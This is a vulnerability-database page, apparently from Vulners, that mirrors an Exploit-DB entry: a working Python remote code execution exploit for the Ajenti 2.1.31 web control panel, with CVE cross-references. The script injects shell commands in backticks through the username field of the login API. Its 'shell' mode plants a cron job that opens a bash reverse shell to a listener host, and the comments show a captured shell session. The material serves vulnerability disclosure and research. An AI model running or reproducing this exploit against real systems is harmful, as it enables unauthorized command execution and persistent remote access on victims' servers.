Lucene search
+L

Ajenti 2.1.31 - Remote Code Execution (RCE)

🗓️ 14 Oct 2019 00:00:00Reported by Jeremy BrownType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 266 Views

Ajenti 2.1.31 - Remote Code Execution, Ajenti web control panel, Ubuntu Linux, Remote Command Execution Exploit, Modified JSON reques

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2019-25066
1 Dec 201916:21
–circl
cnnvd
CNNVD
ajenti operating system command injection vulnerability
9 Jun 202200:00
–cnnvd
cve
CVE
CVE-2019-25066
9 Jun 202213:10
–cve
cvelist
Cvelist
CVE-2019-25066 ajenti API privileges management
9 Jun 202213:10
–cvelist
euvd
EUVD
EUVD-2019-11511
7 Oct 202500:30
–euvd
mend
Mend
CVE-2019-25066
9 Jun 202213:10
–mend
metasploit
Metasploit
Ajenti auth username Command Injection
14 Oct 201900:00
–metasploit
nvd
NVD
CVE-2019-25066
9 Jun 202217:15
–nvd
osv_cve
osv_cve
CVE-2019-25066
9 Jun 202217:15
–osv_cve
prion
Prion
Code injection
9 Jun 202217:15
–prion
Rows per page
# Title: Ajenti 2.1.31 - Remote Code Execution
# Author: Jeremy Brown
# Date: 2019-10-13
# Software Link: https://github.com/ajenti/ajenti
# CVE: N/A
# Tested on: Ubuntu Linux

#!/usr/bin/python
# ajentix.py
#
# Ajenti Remote Command Execution Exploit
#
# -------
# Details
# -------
#
# Ajenti is a web control panel written in Python and AngularJS.
#
# One can locally monitor executed commands on the server while testing
#
# $ sudo ./exec-notify (google for "exec-notify.c", modify output as needed)
# sending proc connector: PROC_CN_MCAST_LISTEN... sent
# Reading process events from proc connector.
# Hit Ctrl-C to exit
#
# Browse over to https://server:8000/view/login/normal to login
#
# .....
# pid=9889 executed [/bin/sh -c /bin/su -c "/bin/echo SUCCESS" - test ]
# pid=9889 executed [/bin/su -c /bin/echo SUCCESS - test ]
#
# Modified the JSON request username value to be `id`
#
# pid=7514 executed [/bin/sh -c /bin/su -c "/bin/echo SUCCESS" - `id` ]
# pid=7516 executed [id ]
# pid=7514 executed [/bin/su -c /bin/echo SUCCESS - uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) ]
#
# *ACK.....*
#
# Also the login routine times out after 5 seconds (see auth.py), which
# makes an interactive shell relatively ephemeral. So, we cron job.
#
# $ python3 ajentix.py server.ip shell local-listener.ip
# Done!
#
# $ nc -v -l -p 5555
# Listening on [0.0.0.0] (family 0, port 5555)
# Connection from server.domain 41792 received!
# bash: cannot set terminal process group (18628): Inappropriate ioctl for device
# bash: no job control in this shell
# nobody@server:/var/spool/cron$ ps
#   PID TTY          TIME CMD
#  6386 ?        00:00:00 /usr/local/bin/ <-- ajenti-panel worker
# 18849 ?        00:00:00 sh
# 18851 ?        00:00:00 bash
# 18859 ?        00:00:00 ps
#
#
# Tested Ajenti 2.1.31 on Ubuntu 18.04, fixed in 2.1.32
#
# Fix commit: https://github.com/ajenti/ajenti/commit/7aa146b724e0e20cfee2c71ca78fafbf53a8767c
#
#

import os
import sys
import ssl
import json
import urllib.request as request

def main():
	if(len(sys.argv) < 2):
		print("Usage: %s <host> [\"cmd\" or shell...ip]\n" % sys.argv[0])
		print("Eg:    %s 1.2.3.4 \"id\"" % sys.argv[0])
		print("...    %s 1.2.3.4 shell 5.6.7.8\n" % sys.argv[0])
		return

	host = sys.argv[1]
	cmd = sys.argv[2]

	if(cmd == 'shell'):
		if(len(sys.argv) < 4):
			print("Error: need ip to connect back to for shell")
			return

		ip = sys.argv[3]

		shell = "`echo \"* * * * * bash -i >& /dev/tcp/" + ip + "/5555 0>&1\" > /tmp/cronx; crontab /tmp/cronx`"
		username = shell

	else:
		username = "`" + cmd + "`"

	body = json.dumps({'username':username, 'password':'test', 'mode':'normal'})
	byte = body.encode('utf-8')

	url = "https://" + host + ":8000" + "/api/core/auth"

	try:
		req = request.Request(url)

		req.add_header('Content-Type', 'application/json; charset=utf-8')
		req.add_header('Content-Length', len(byte))

		request.urlopen(req, byte, context=ssl._create_unverified_context()) # ignore the cert

	except Exception as error:
		print("Error: %s" % error)
		return

	print("Done!")


if(__name__ == '__main__'):
	main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 26.5
CVSS 3.16.3 - 8.8
EPSS0.05481
SSVC
266